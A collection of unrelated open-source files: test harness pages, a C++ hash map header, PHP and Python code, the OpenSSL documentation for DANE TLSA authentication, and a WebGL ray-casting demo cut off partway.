this.persons = persons; } } }
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Mocha Tests</title> <link id="mocha-css" href="../node_modules/mocha/mocha.css" rel="stylesheet" /> <link href="html-inspector-test.css" rel="stylesheet" /> <script id="script-placement-test"> function parseHTML(string) { var container = document.createElement("div") container.innerHTML = string return container.firstChild } </script> </head> <body> <div id="mocha"></div> <script src="../node_modules/mocha/mocha.js"></script> <script src="../node_modules/chai/chai.js"></script> <script src="../node_modules/sinon/lib/sinon.js"></script> <script src="../node_modules/sinon/lib/sinon/spy.js"></script> <script src="../node_modules/sinon/lib/sinon/stub.js"></script> <script> mocha.ui('bdd') expect = chai.expect </script> <script src="../html-inspector.js"></script> <script src="html-inspector-test.js"></script> <script> if (window.mochaPhantomJS) { mochaPhantomJS.run() } else { mocha.run() } </script> </body> </html>
{ "pile_set_name": "Github" }
/****************************************************************************** * Spine Runtimes License Agreement * Last updated May 1, 2019. Replaces all prior versions. * * Copyright (c) 2013-2019, Esoteric Software LLC * * Integration of the Spine Runtimes into software or otherwise creating * derivative works of the Spine Runtimes is permitted under the terms and * conditions of Section 2 of the Spine Editor License Agreement: * http://esotericsoftware.com/spine-editor-license * * Otherwise, it is permitted to integrate the Spine Runtimes into software * or otherwise create derivative works of the Spine Runtimes (collectively, * "Products"), provided that each user of the Products must obtain their own * Spine Editor license and redistribution of the Products in any form must * include this license and copyright notice. * * THIS SOFTWARE IS PROVIDED BY ESOTERIC SOFTWARE LLC "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN * NO EVENT SHALL ESOTERIC SOFTWARE LLC BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES, BUSINESS * INTERRUPTION, OR LOSS OF USE, DATA, OR PROFITS) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *****************************************************************************/ #ifndef Spine_HashMap_h #define Spine_HashMap_h #include <spine/Extension.h> #include <spine/Vector.h> #include <spine/SpineObject.h> // Required for new with line number and file name in MSVC #ifdef _MSC_VER #pragma warning(disable:4291) #endif namespace spine { template<typename K, typename V> class SP_API HashMap : public SpineObject { private: class Entry; public: class SP_API Pair { public: explicit Pair(K &k, V &v) : key(k), value(v) {} K &key; V &value; }; class SP_API Entries { public: friend class HashMap; explicit Entries(Entry *entry) : _entry(NULL), _hasChecked(false) { _start.next = entry; _entry = &_start; } Pair next() { assert(_entry); assert(_hasChecked); _entry = _entry->next; Pair pair(_entry->_key, _entry->_value); _hasChecked = false; return pair; } bool hasNext() { _hasChecked = true; return _entry->next; } private: bool _hasChecked; Entry _start; Entry *_entry; }; HashMap() : _head(NULL), _size(0) { } ~HashMap() { clear(); } void clear() { for (Entry *entry = _head; entry != NULL;) { Entry* next = entry->next; delete entry; entry = next; } _head = NULL; _size = 0; } size_t size() { return _size; } void put(const K &key, const V &value) { Entry *entry = find(key); if (entry) { entry->_key = key; entry->_value = value; } else { entry = new(__FILE__, __LINE__) Entry(); entry->_key = key; entry->_value = value; Entry *oldHead = _head; if (oldHead) { _head = entry; oldHead->prev = entry; entry->next = oldHead; } else { _head = entry; } _size++; } } bool containsKey(const K &key) { return find(key) != NULL; } bool remove(const K &key) { Entry *entry = find(key); if (!entry) return false; Entry *prev = entry->prev; Entry *next = entry->next; if (prev) prev->next = next; else _head = next; if (next) next->prev = entry->prev; delete entry; _size--; return true; } V operator[](const K &key) { Entry *entry = find(key); if (entry) return entry->_value; else { assert(false); return 0; } } Entries getEntries() const { return Entries(_head); } private: Entry *find(const K &key) { for (Entry *entry = _head; entry != NULL; entry = entry->next) { if (entry->_key == key) return entry; } return NULL; } class SP_API Entry : public SpineObject { public: K _key; V _value; Entry *next; Entry *prev; Entry() : next(NULL), prev(NULL) {} }; Entry *_head; size_t _size; }; } #endif /* Spine_HashMap_h */
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <Workspace version = "1.0"> <FileRef location = "self:"> </FileRef> </Workspace>
{ "pile_set_name": "Github" }
<?php namespace Oro\Bundle\ApiBundle\Provider; use Oro\Component\Config\Cache\ConfigCache as Cache; use Oro\Component\Config\Cache\ConfigCacheStateInterface; use Symfony\Component\Config\ConfigCacheInterface; /** * The factory to create an object is used to store API configuration cache. */ class ConfigCacheFactory { /** @var string */ private $cacheDir; /** @var bool */ private $debug; /** @var ConfigCacheStateInterface[]|null */ private $dependencies; /** * @param string $cacheDir * @param bool $debug */ public function __construct(string $cacheDir, bool $debug) { $this->cacheDir = $cacheDir; $this->debug = $debug; } /** * @param string $configKey * * @return ConfigCacheInterface */ public function getCache(string $configKey): ConfigCacheInterface { $cache = new Cache( sprintf('%s/%s.php', $this->cacheDir, $configKey), $this->debug ); if ($this->dependencies) { foreach ($this->dependencies as $dependency) { $cache->addDependency($dependency); } } return $cache; } /** * Registers a cache the API configuration cache depends on. * * @param ConfigCacheStateInterface $configCache */ public function addDependency(ConfigCacheStateInterface $configCache): void { $this->dependencies[] = $configCache; } }
{ "pile_set_name": "Github" }
ace_kestrel4500 =============== Adds Kestrel 4500 Pocket Weather Tracker. ## Maintainers The people responsible for merging changes to this component or answering potential questions. - [Ruthberg](http://github.com/Ulteq)
{ "pile_set_name": "Github" }
# coding: utf-8 """ AIS AIStore is a scalable object-storage based caching system with Amazon and Google Cloud backends. # noqa: E501 OpenAPI spec version: 1.1.0 Contact: [email protected] Generated by: https://openapi-generator.tech """ # pylint: disable=unused-variable from __future__ import absolute_import import unittest import ais_client from ais_client.rest import ApiException import os import uuid import logging as log from .helpers import bytestring, surpressResourceWarning class TestBucketApi(unittest.TestCase): """BucketApi unit test stubs""" def setUp(self): surpressResourceWarning() configuration = ais_client.Configuration() configuration.debug = False api_client = ais_client.ApiClient(configuration) self.bucket = ais_client.api.bucket_api.BucketApi(api_client) self.object = ais_client.api.object_api.ObjectApi(api_client) self.models = ais_client.models self.BUCKET_NAME = os.environ["BUCKET"] self.FILE_SIZE = 128 self.SLEEP_LONG_SECONDS = 15 self.created_objects = [] self.created_buckets = [] def tearDown(self): log.info("Cleaning up all created objects in cloud.") for object_name in self.created_objects: self.object.delete(self.BUCKET_NAME, object_name) log.info("Cleaning up all created local buckets.") input_params = self.models.InputParameters(self.models.Actions.DESTROYLB) for bucket_name in self.created_buckets: self.bucket.delete(bucket_name, input_params) def test_list_cloud_buckets(self): """ Test case for list_names 1. Get list of all cloud and local buckets 2. Test that the specified bucket is present in one of cloud/local buckets. """ log.info("GET BUCKET [%s]", self.BUCKET_NAME) bucket_names = self.bucket.list_names() self.assertTrue(len(bucket_names.cloud) > 0, "Cloud bucket names are not present.") self.assertTrue( self.BUCKET_NAME in bucket_names.cloud or self.BUCKET_NAME in bucket_names.local, "Bucket name [%s] does not exist in cloud/local" % self.BUCKET_NAME ) def test_list_bucket(self): """ 1. Create bucket 2. Create object in bucket 3. List objects and verify that the object is present in the bucket :return: """ bucket_name = self.__create_local_bucket() object_name, _ = self.__put_random_object(bucket_name) props = self.models.ObjectPropertyTypes.CHECKSUM requestParams = self.models.ObjectPropertiesRequestParams(props) input_params = self.models.InputParameters(self.models.Actions.LISTOBJECTS, value=requestParams) objectProperties = self.bucket.perform_operation(bucket_name, input_params) self.assertTrue(len(objectProperties.entries) == 1, "Properties of object present in bucket not returned.") self.assertTrue(objectProperties.entries[0].name == object_name, "Properties of object present in bucket not returned.") self.assertTrue(objectProperties.entries[0].checksum, "Properties of object present in bucket not returned.") def test_bucket_get_create_delete(self): """ 1. Create bucket 2. Get bucket 3. Delete bucket 4. Get bucket :return: """ bucket_name = self.__create_local_bucket() self.assertTrue(self.__check_if_local_bucket_exists(bucket_name), "Created bucket [%s] not in local buckets" % bucket_name) input_params = self.models.InputParameters(self.models.Actions.DESTROYLB) log.info("DELETE BUCKET [%s]", bucket_name) self.bucket.delete(bucket_name, input_params) self.assertFalse(self.__check_if_local_bucket_exists(bucket_name), "Deleted bucket [%s] in local buckets" % bucket_name) self.created_buckets.remove(bucket_name) @unittest.skip("This passes with 1 target and not with multiple since the buckets aren't synced yet") def test_rename_bucket(self): """ 1. Create bucket 2. Rename bucket 3. Get old bucket 4. Get new bucket :return: """ bucket_name = self.__create_local_bucket() new_bucket_name = uuid.uuid4().hex input_params = self.models.InputParameters(self.models.Actions.RENAMELB, new_bucket_name) log.info("RENAME BUCKET from [%s] to %s", bucket_name, new_bucket_name) self.bucket.perform_operation(bucket_name, input_params) self.assertFalse(self.__check_if_local_bucket_exists(bucket_name), "Old bucket [%s] exists in local buckets" % bucket_name) self.assertTrue(self.__check_if_local_bucket_exists(new_bucket_name), "New bucket [%s] does not exist in local buckets" % new_bucket_name) self.created_buckets.remove(bucket_name) self.created_buckets.append(new_bucket_name) def test_bucket_properties(self): """ 1. Set properties 2. Get properties :return: """ bucket_name = self.__create_local_bucket() input_params = self.models.InputParameters(self.models.Actions.SETPROPS) cksum_conf = self.models.BucketPropsCksum( type="inherit", validate_cold_get=False, validate_warm_get=False, enable_read_range=False, ) input_params.value = self.models.BucketProps( self.models.Provider.AIS, cksum_conf, ) self.bucket.set_properties(bucket_name, input_params) headers = self.bucket.get_properties_with_http_info(bucket_name)[2] provider = headers[self.models.Headers.PROVIDER] self.assertEqual(provider, self.models.Provider.AIS, "Incorrect Provider in HEADER returned") versioning = headers[self.models.Headers.VERSIONING] self.assertEqual(versioning, self.models.Version.LOCAL, "Incorrect Versioning in HEADER returned") def test_prefetch_list_objects(self): """ 1. Create object 2. Evict object 3. Prefetch object 4. Check cached :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters(self.models.Actions.EVICTOBJECTS) log.info("Evict object list [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.delete(self.BUCKET_NAME, object_name, input_parameters=input_params) input_params.action = self.models.Actions.PREFETCH input_params.value = self.models.ListParameters(wait=True, objnames=[object_name]) log.info("Prefetch object list [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.bucket.perform_operation(self.BUCKET_NAME, input_params, provider="cloud") log.info("Get object [%s/%s] from cache", self.BUCKET_NAME, object_name) self.object.get_properties(self.BUCKET_NAME, object_name, check_cached=True) def test_prefetch_range_objects(self): """ 1. Create object 2. Evict object 3. Prefetch object 4. Check cached :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters(self.models.Actions.EVICTOBJECTS) log.info("Evict object list [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.delete(self.BUCKET_NAME, object_name, input_parameters=input_params) input_params.action = self.models.Actions.PREFETCH input_params.value = self.models.RangeParameters(wait=True, prefix="", regex="", range="") log.info("Prefetch object range [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.bucket.perform_operation(self.BUCKET_NAME, input_params, provider="cloud") log.info("Prefetch object list [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.get_properties(self.BUCKET_NAME, object_name, check_cached=True) def test_delete_list_objects(self): """ 1. Create object 2. Delete object 3. Get object :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters(self.models.Actions.DELETE, None, self.models.ListParameters(wait=True, objnames=[object_name])) log.info("Delete object list [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.delete(self.BUCKET_NAME, object_name, input_parameters=input_params) self.__execute_operation_on_unavailable_object(self.object.get, self.BUCKET_NAME, object_name) def test_delete_range_objects(self): """ 1. Create object 2. Delete object 3. Get object :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters( self.models.Actions.DELETE, None, self.models.RangeParameters(wait=True, prefix="", regex="", range="") ) log.info("Delete object range [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.delete(self.BUCKET_NAME, object_name, input_parameters=input_params) self.__execute_operation_on_unavailable_object(self.object.get, self.BUCKET_NAME, object_name) def test_evict_list_objects(self): """ 1. Create object 2. Evict object 3. Check if object in cache :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters( self.models.Actions.EVICTOBJECTS, None, self.models.ListParameters(wait=True, objnames=[object_name]) ) log.info("Evict object list [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.delete(self.BUCKET_NAME, object_name, input_parameters=input_params) self.__execute_operation_on_unavailable_object(self.object.get_properties, self.BUCKET_NAME, object_name, check_cached=True) def test_evict_range_objects(self): """ 1. Create object 2. Evict object 3. Check if object in cache :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters( self.models.Actions.EVICTOBJECTS, None, self.models.RangeParameters(wait=True, prefix="", regex="", range="") ) log.info("Evict object range [%s/%s] InputParameters [%s]", self.BUCKET_NAME, object_name, input_params) self.object.delete(self.BUCKET_NAME, object_name, input_parameters=input_params) self.__execute_operation_on_unavailable_object(self.object.get_properties, self.BUCKET_NAME, object_name, check_cached=True) def test_evict_cloudbucket(self): """ 1. Create object 2. Evict the cloud bucket that contains object 3. Check if object in cache :return: """ object_name, _ = self.__put_random_object() input_params = self.models.InputParameters(self.models.Actions.EVICTCB) log.info("Evict bucket [%s] InputParameters [%s]", self.BUCKET_NAME, input_params) self.bucket.delete(self.BUCKET_NAME, input_parameters=input_params, provider="cloud") self.__execute_operation_on_unavailable_object(self.object.get_properties, self.BUCKET_NAME, object_name, check_cached=True) def __check_if_local_bucket_exists(self, bucket_name): log.info("LIST BUCKET local names [%s]", bucket_name) bucket_names = self.bucket.list_names(provider="ais") self.assertTrue(len(bucket_names.cloud) == 0, "Cloud buckets returned when requesting for only " "local buckets") return bucket_name in bucket_names.local def __put_random_object(self, bucket_name=None): bucket_name = bucket_name if bucket_name else self.BUCKET_NAME object_name = uuid.uuid4().hex input_object = bytestring(os.urandom(self.FILE_SIZE)) log.info("PUT object [%s/%s] size [%d]", bucket_name, object_name, self.FILE_SIZE) self.object.put(bucket_name, object_name, body=input_object) if bucket_name == self.BUCKET_NAME: self.created_objects.append(object_name) return object_name, input_object def __create_local_bucket(self): bucket_name = uuid.uuid4().hex input_params = self.models.InputParameters(self.models.Actions.CREATELB) log.info("Create local bucket [%s]", bucket_name) self.bucket.perform_operation(bucket_name, input_params) self.created_buckets.append(bucket_name) return bucket_name def __execute_operation_on_unavailable_object(self, operation, bucket_name, object_name, **kwargs): log.info("[%s] on unavailable object [%s/%s]", operation.__name__, bucket_name, object_name) with self.assertRaises(ApiException) as contextManager: operation(bucket_name, object_name, **kwargs) exception = contextManager.exception self.assertEqual(exception.status, 404) if __name__ == '__main__': log.basicConfig(format='[%(levelname)s]:%(message)s', level=log.DEBUG) unittest.main()
{ "pile_set_name": "Github" }
The ``sequence`` animation ------------------------------ ``sequence`` .. bp-code-block:: footer shape: [64, 7] animation: typename: $bpa.matrix.Text.ScrollText text: 'Animations'
{ "pile_set_name": "Github" }
=pod =head1 NAME SSL_CTX_dane_enable, SSL_CTX_dane_mtype_set, SSL_dane_enable, SSL_dane_tlsa_add, SSL_get0_dane_authority, SSL_get0_dane_tlsa, SSL_CTX_dane_set_flags, SSL_CTX_dane_clear_flags, SSL_dane_set_flags, SSL_dane_clear_flags - enable DANE TLS authentication of the remote TLS server in the local TLS client =head1 SYNOPSIS #include <openssl/ssl.h> int SSL_CTX_dane_enable(SSL_CTX *ctx); int SSL_CTX_dane_mtype_set(SSL_CTX *ctx, const EVP_MD *md, uint8_t mtype, uint8_t ord); int SSL_dane_enable(SSL *s, const char *basedomain); int SSL_dane_tlsa_add(SSL *s, uint8_t usage, uint8_t selector, uint8_t mtype, unsigned char *data, size_t dlen); int SSL_get0_dane_authority(SSL *s, X509 **mcert, EVP_PKEY **mspki); int SSL_get0_dane_tlsa(SSL *s, uint8_t *usage, uint8_t *selector, uint8_t *mtype, unsigned const char **data, size_t *dlen); unsigned long SSL_CTX_dane_set_flags(SSL_CTX *ctx, unsigned long flags); unsigned long SSL_CTX_dane_clear_flags(SSL_CTX *ctx, unsigned long flags); unsigned long SSL_dane_set_flags(SSL *ssl, unsigned long flags); unsigned long SSL_dane_clear_flags(SSL *ssl, unsigned long flags); =head1 DESCRIPTION These functions implement support for DANE TLSA (RFC6698 and RFC7671) peer authentication. SSL_CTX_dane_enable() must be called first to initialize the shared state required for DANE support. Individual connections associated with the context can then enable per-connection DANE support as appropriate. DANE authentication is implemented in the L<X509_verify_cert(3)> function, and applications that override L<X509_verify_cert(3)> via L<SSL_CTX_set_cert_verify_callback(3)> are responsible to authenticate the peer chain in whatever manner they see fit. SSL_CTX_dane_mtype_set() may then be called zero or more times to adjust the supported digest algorithms. This must be done before any SSL handles are created for the context. The B<mtype> argument specifies a DANE TLSA matching type and the B<md> argument specifies the associated digest algorithm handle. The B<ord> argument specifies a strength ordinal. Algorithms with a larger strength ordinal are considered more secure. Strength ordinals are used to implement RFC7671 digest algorithm agility. Specifying a B<NULL> digest algorithm for a matching type disables support for that matching type. Matching type Full(0) cannot be modified or disabled. By default, matching type C<SHA2-256(1)> (see RFC7218 for definitions of the DANE TLSA parameter acronyms) is mapped to C<EVP_sha256()> with a strength ordinal of C<1> and matching type C<SHA2-512(2)> is mapped to C<EVP_sha512()> with a strength ordinal of C<2>. SSL_dane_enable() must be called before the SSL handshake is initiated with L<SSL_connect(3)> if (and only if) you want to enable DANE for that connection. (The connection must be associated with a DANE-enabled SSL context). The B<basedomain> argument specifies the RFC7671 TLSA base domain, which will be the primary peer reference identifier for certificate name checks. Additional server names can be specified via L<SSL_add1_host(3)>. The B<basedomain> is used as the default SNI hint if none has yet been specified via L<SSL_set_tlsext_host_name(3)>. SSL_dane_tlsa_add() may then be called one or more times, to load each of the TLSA records that apply to the remote TLS peer. (This too must be done prior to the beginning of the SSL handshake). The arguments specify the fields of the TLSA record. The B<data> field is provided in binary (wire RDATA) form, not the hexadecimal ASCII presentation form, with an explicit length passed via B<dlen>. The library takes a copy of the B<data> buffer contents and the caller may free the original B<data> buffer when convenient. A return value of 0 indicates that "unusable" TLSA records (with invalid or unsupported parameters) were provided. A negative return value indicates an internal error in processing the record. The caller is expected to check the return value of each SSL_dane_tlsa_add() call and take appropriate action if none are usable or an internal error is encountered in processing some records. If no TLSA records are added successfully, DANE authentication is not enabled, and authentication will be based on any configured traditional trust-anchors; authentication success in this case does not mean that the peer was DANE-authenticated. SSL_get0_dane_authority() can be used to get more detailed information about the matched DANE trust-anchor after successful connection completion. The return value is negative if DANE verification failed (or was not enabled), 0 if an EE TLSA record directly matched the leaf certificate, or a positive number indicating the depth at which a TA record matched an issuer certificate. The complete verified chain can be retrieved via L<SSL_get0_verified_chain(3)>. The return value is an index into this verified chain, rather than the list of certificates sent by the peer as returned by L<SSL_get_peer_cert_chain(3)>. If the B<mcert> argument is not B<NULL> and a TLSA record matched a chain certificate, a pointer to the matching certificate is returned via B<mcert>. The returned address is a short-term internal reference to the certificate and must not be freed by the application. Applications that want to retain access to the certificate can call L<X509_up_ref(3)> to obtain a long-term reference which must then be freed via L<X509_free(3)> once no longer needed. If no TLSA records directly matched any elements of the certificate chain, but a DANE-TA(2) SPKI(1) Full(0) record provided the public key that signed an element of the chain, then that key is returned via B<mspki> argument (if not NULL). In this case the return value is the depth of the top-most element of the validated certificate chain. As with B<mcert> this is a short-term internal reference, and L<EVP_PKEY_up_ref(3)> and L<EVP_PKEY_free(3)> can be used to acquire and release long-term references respectively. SSL_get0_dane_tlsa() can be used to retrieve the fields of the TLSA record that matched the peer certificate chain. The return value indicates the match depth or failure to match just as with SSL_get0_dane_authority(). When the return value is non-negative, the storage pointed to by the B<usage>, B<selector>, B<mtype> and B<data> parameters is updated to the corresponding TLSA record fields. The B<data> field is in binary wire form, and is therefore not NUL-terminated, its length is returned via the B<dlen> parameter. If any of these parameters is NULL, the corresponding field is not returned. The B<data> parameter is set to a short-term internal-copy of the associated data field and must not be freed by the application. Applications that need long-term access to this field need to copy the content. SSL_CTX_dane_set_flags() and SSL_dane_set_flags() can be used to enable optional DANE verification features. SSL_CTX_dane_clear_flags() and SSL_dane_clear_flags() can be used to disable the same features. The B<flags> argument is a bitmask of the features to enable or disable. The B<flags> set for an B<SSL_CTX> context are copied to each B<SSL> handle associated with that context at the time the handle is created. Subsequent changes in the context's B<flags> have no effect on the B<flags> set for the handle. At present, the only available option is B<DANE_FLAG_NO_DANE_EE_NAMECHECKS> which can be used to disable server name checks when authenticating via DANE-EE(3) TLSA records. For some applications, primarily web browsers, it is not safe to disable name checks due to "unknown key share" attacks, in which a malicious server can convince a client that a connection to a victim server is instead a secure connection to the malicious server. The malicious server may then be able to violate cross-origin scripting restrictions. Thus, despite the text of RFC7671, name checks are by default enabled for DANE-EE(3) TLSA records, and can be disabled in applications where it is safe to do so. In particular, SMTP and XMPP clients should set this option as SRV and MX records already make it possible for a remote domain to redirect client connections to any server of its choice, and in any case SMTP and XMPP clients do not execute scripts downloaded from remote servers. =head1 RETURN VALUES The functions SSL_CTX_dane_enable(), SSL_CTX_dane_mtype_set(), SSL_dane_enable() and SSL_dane_tlsa_add() return a positive value on success. Negative return values indicate resource problems (out of memory, etc.) in the SSL library, while a return value of B<0> indicates incorrect usage or invalid input, such as an unsupported TLSA record certificate usage, selector or matching type. Invalid input also includes malformed data, either a digest length that does not match the digest algorithm, or a C<Full(0)> (binary ASN.1 DER form) certificate or a public key that fails to parse. The functions SSL_get0_dane_authority() and SSL_get0_dane_tlsa() return a negative value when DANE authentication failed or was not enabled, a non-negative value indicates the chain depth at which the TLSA record matched a chain certificate, or the depth of the top-most certificate, when the TLSA record is a full public key that is its signer. The functions SSL_CTX_dane_set_flags(), SSL_CTX_dane_clear_flags(), SSL_dane_set_flags() and SSL_dane_clear_flags() return the B<flags> in effect before they were called. =head1 EXAMPLE Suppose "smtp.example.com" is the MX host of the domain "example.com", and has DNSSEC-validated TLSA records. The calls below will perform DANE authentication and arrange to match either the MX hostname or the destination domain name in the SMTP server certificate. Wildcards are supported, but must match the entire label. The actual name matched in the certificate (which might be a wildcard) is retrieved, and must be copied by the application if it is to be retained beyond the lifetime of the SSL connection. SSL_CTX *ctx; SSL *ssl; int (*verify_cb)(int ok, X509_STORE_CTX *sctx) = NULL; int num_usable = 0; const char *nexthop_domain = "example.com"; const char *dane_tlsa_domain = "smtp.example.com"; uint8_t usage, selector, mtype; if ((ctx = SSL_CTX_new(TLS_client_method())) == NULL) /* handle error */ if (SSL_CTX_dane_enable(ctx) <= 0) /* handle error */ if ((ssl = SSL_new(ctx)) == NULL) /* handle error */ if (SSL_dane_enable(ssl, dane_tlsa_domain) <= 0) /* handle error */ /* * For many applications it is safe to skip DANE-EE(3) namechecks. Do not * disable the checks unless "unknown key share" attacks pose no risk for * your application. */ SSL_dane_set_flags(ssl, DANE_FLAG_NO_DANE_EE_NAMECHECKS); if (!SSL_add1_host(ssl, nexthop_domain)) /* handle error */ SSL_set_hostflags(ssl, X509_CHECK_FLAG_NO_PARTIAL_WILDCARDS); for (... each TLSA record ...) { unsigned char *data; size_t len; int ret; /* set usage, selector, mtype, data, len */ /* * Opportunistic DANE TLS clients support only DANE-TA(2) or DANE-EE(3). * They treat all other certificate usages, and in particular PKIX-TA(0) * and PKIX-EE(1), as unusable. */ switch (usage) { default: case 0: /* PKIX-TA(0) */ case 1: /* PKIX-EE(1) */ continue; case 2: /* DANE-TA(2) */ case 3: /* DANE-EE(3) */ break; } ret = SSL_dane_tlsa_add(ssl, usage, selector, mtype, data, len); /* free data as appropriate */ if (ret < 0) /* handle SSL library internal error */ else if (ret == 0) /* handle unusable TLSA record */ else ++num_usable; } /* * At this point, the verification mode is still the default SSL_VERIFY_NONE. * Opportunistic DANE clients use unauthenticated TLS when all TLSA records * are unusable, so continue the handshake even if authentication fails. */ if (num_usable == 0) { /* Log all records unusable? */ /* Optionally set verify_cb to a suitable non-NULL callback. */ SSL_set_verify(ssl, SSL_VERIFY_NONE, verify_cb); } else { /* At least one usable record. We expect to verify the peer */ /* Optionally set verify_cb to a suitable non-NULL callback. */ /* * Below we elect to fail the handshake when peer verification fails. * Alternatively, use the permissive SSL_VERIFY_NONE verification mode, * complete the handshake, check the verification status, and if not * verified disconnect gracefully at the application layer, especially if * application protocol supports informing the server that authentication * failed. */ SSL_set_verify(ssl, SSL_VERIFY_PEER, verify_cb); } /* * Load any saved session for resumption, making sure that the previous * session applied the same security and authentication requirements that * would be expected of a fresh connection. */ /* Perform SSL_connect() handshake and handle errors here */ if (SSL_session_reused(ssl)) { if (SSL_get_verify_result(ssl) == X509_V_OK) { /* * Resumed session was originally verified, this connection is * authenticated. */ } else { /* * Resumed session was not originally verified, this connection is not * authenticated. */ } } else if (SSL_get_verify_result(ssl) == X509_V_OK) { const char *peername = SSL_get0_peername(ssl); EVP_PKEY *mspki = NULL; int depth = SSL_get0_dane_authority(ssl, NULL, &mspki); if (depth >= 0) { (void) SSL_get0_dane_tlsa(ssl, &usage, &selector, &mtype, NULL, NULL); printf("DANE TLSA %d %d %d %s at depth %d\n", usage, selector, mtype, (mspki != NULL) ? "TA public key verified certificate" : depth ? "matched TA certificate" : "matched EE certificate", depth); } if (peername != NULL) { /* Name checks were in scope and matched the peername */ printf("Verified peername: %s\n", peername); } } else { /* * Not authenticated, presumably all TLSA rrs unusable, but possibly a * callback suppressed connection termination despite the presence of * usable TLSA RRs none of which matched. Do whatever is appropriate for * fresh unauthenticated connections. */ } =head1 NOTES It is expected that the majority of clients employing DANE TLS will be doing "opportunistic DANE TLS" in the sense of RFC7672 and RFC7435. That is, they will use DANE authentication when DNSSEC-validated TLSA records are published for a given peer, and otherwise will use unauthenticated TLS or even cleartext. Such applications should generally treat any TLSA records published by the peer with usages PKIX-TA(0) and PKIX-EE(1) as "unusable", and should not include them among the TLSA records used to authenticate peer connections. In addition, some TLSA records with supported usages may be "unusable" as a result of invalid or unsupported parameters. When a peer has TLSA records, but none are "usable", an opportunistic application must avoid cleartext, but cannot authenticate the peer, and so should generally proceed with an unauthenticated connection. Opportunistic applications need to note the return value of each call to SSL_dane_tlsa_add(), and if all return 0 (due to invalid or unsupported parameters) disable peer authentication by calling L<SSL_set_verify(3)> with B<mode> equal to B<SSL_VERIFY_NONE>. =head1 SEE ALSO L<SSL_new(3)>, L<SSL_add1_host(3)>, L<SSL_set_hostflags(3)>, L<SSL_set_tlsext_host_name(3)>, L<SSL_set_verify(3)>, L<SSL_CTX_set_cert_verify_callback(3)>, L<SSL_get0_verified_chain(3)>, L<SSL_get_peer_cert_chain(3)>, L<SSL_get_verify_result(3)>, L<SSL_connect(3)>, L<SSL_get0_peername(3)>, L<X509_verify_cert(3)>, L<X509_up_ref(3)>, L<X509_free(3)>, L<EVP_get_digestbyname(3)>, L<EVP_PKEY_up_ref(3)>, L<EVP_PKEY_free(3)> =head1 HISTORY These functions were first added to OpenSSL 1.1.0. =head1 COPYRIGHT Copyright 2016-2018 The OpenSSL Project Authors. All Rights Reserved. Licensed under the OpenSSL license (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at L<https://www.openssl.org/source/license.html>. =cut
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <style> html,body{margin:0px; padding:0px; width:100%; height:100%;} body{background-color:#404040;} canvas{border:0px solid green;} div{display:flex; width:100%; height:100%; align-items:center; justify-content:center;} #lblFPS{position:absolute; top:0px; left:0px; width:40px; padding:5px 5px; background:gray; color:white; font-weight:bold; text-align:center; font-family:arial; font-size:13px; } </style> <script type="module"> import Fungi from "./fungi/Fungi.js"; import Downloader from "./fungi/util/Downloader.js"; import Ray from "./fungi/util/Ray.js"; import { Vec3 } from "./fungi/Maths.js"; import {GeometryData,GeometryRender} from "./fungi/entities/Geometry.js"; import BoundingSphere from "./fungi/entities/BoundingSphere.js"; window.addEventListener("load",function(){ Fungi.init(); //Prepare Context and Canvas //........................................ //Starting Loading data and Creating Threads to handle things var dl = Downloader.start([ {type:"shader",file:"fungi/shaders/VecWColor.txt"} ]).catch(function(err){ console.log(err); }); //........................................ //Wait for all threads to be completed Promise.all([dl]).then(values=>{ setTimeout(onInit,50); },reason =>{ console.log(reason); }); }); var sphere; function onInit(){ //........................................ //Prepare the bare needed to get the scene running Fungi.ready(onRender,3); Fungi.mainCamera.setPosition(0,1,6); Fungi.ctrlCamera.onDownOverride = onCameraMouseDown; //----------------------------- Fungi.scene.push(sphere = new BoundingSphere("MatVecWColor").setPosition(0,1,0)); //........................................ //Begin rendering the scene Fungi.renderLoop.start(); } function onRender(){ Fungi.update().render(Fungi.scene); } function onCameraMouseDown(e,ctrl,ix,iy){ if(!e.ctrlKey) return false; var ray = Ray.pointsFromMouse(ix,iy); Fungi.debugLine.reset().addVecLine(ray.start,6,ray.end,0); Fungi.debugPoint.reset(); inSphere_test(ray); //var pos = inSphere(sphere,ray); //if(pos != null) Fungi.debugPoint.addVecPoint(pos,6); //else console.log("no intersections"); return true; } function inSphere_test(ray){ //........................................... var vRayNorm = ray.end.clone().sub(ray.start).normalize(); var vRayToCenter = sphere.position.clone().sub(ray.start); Fungi.debugLine.addVecLine(sphere.position,4, ray.start,4); //........................................... /* Project the length to the center onto the Ray */ var tProj = Vec3.dot(vRayToCenter,vRayNorm); //vRayNorm 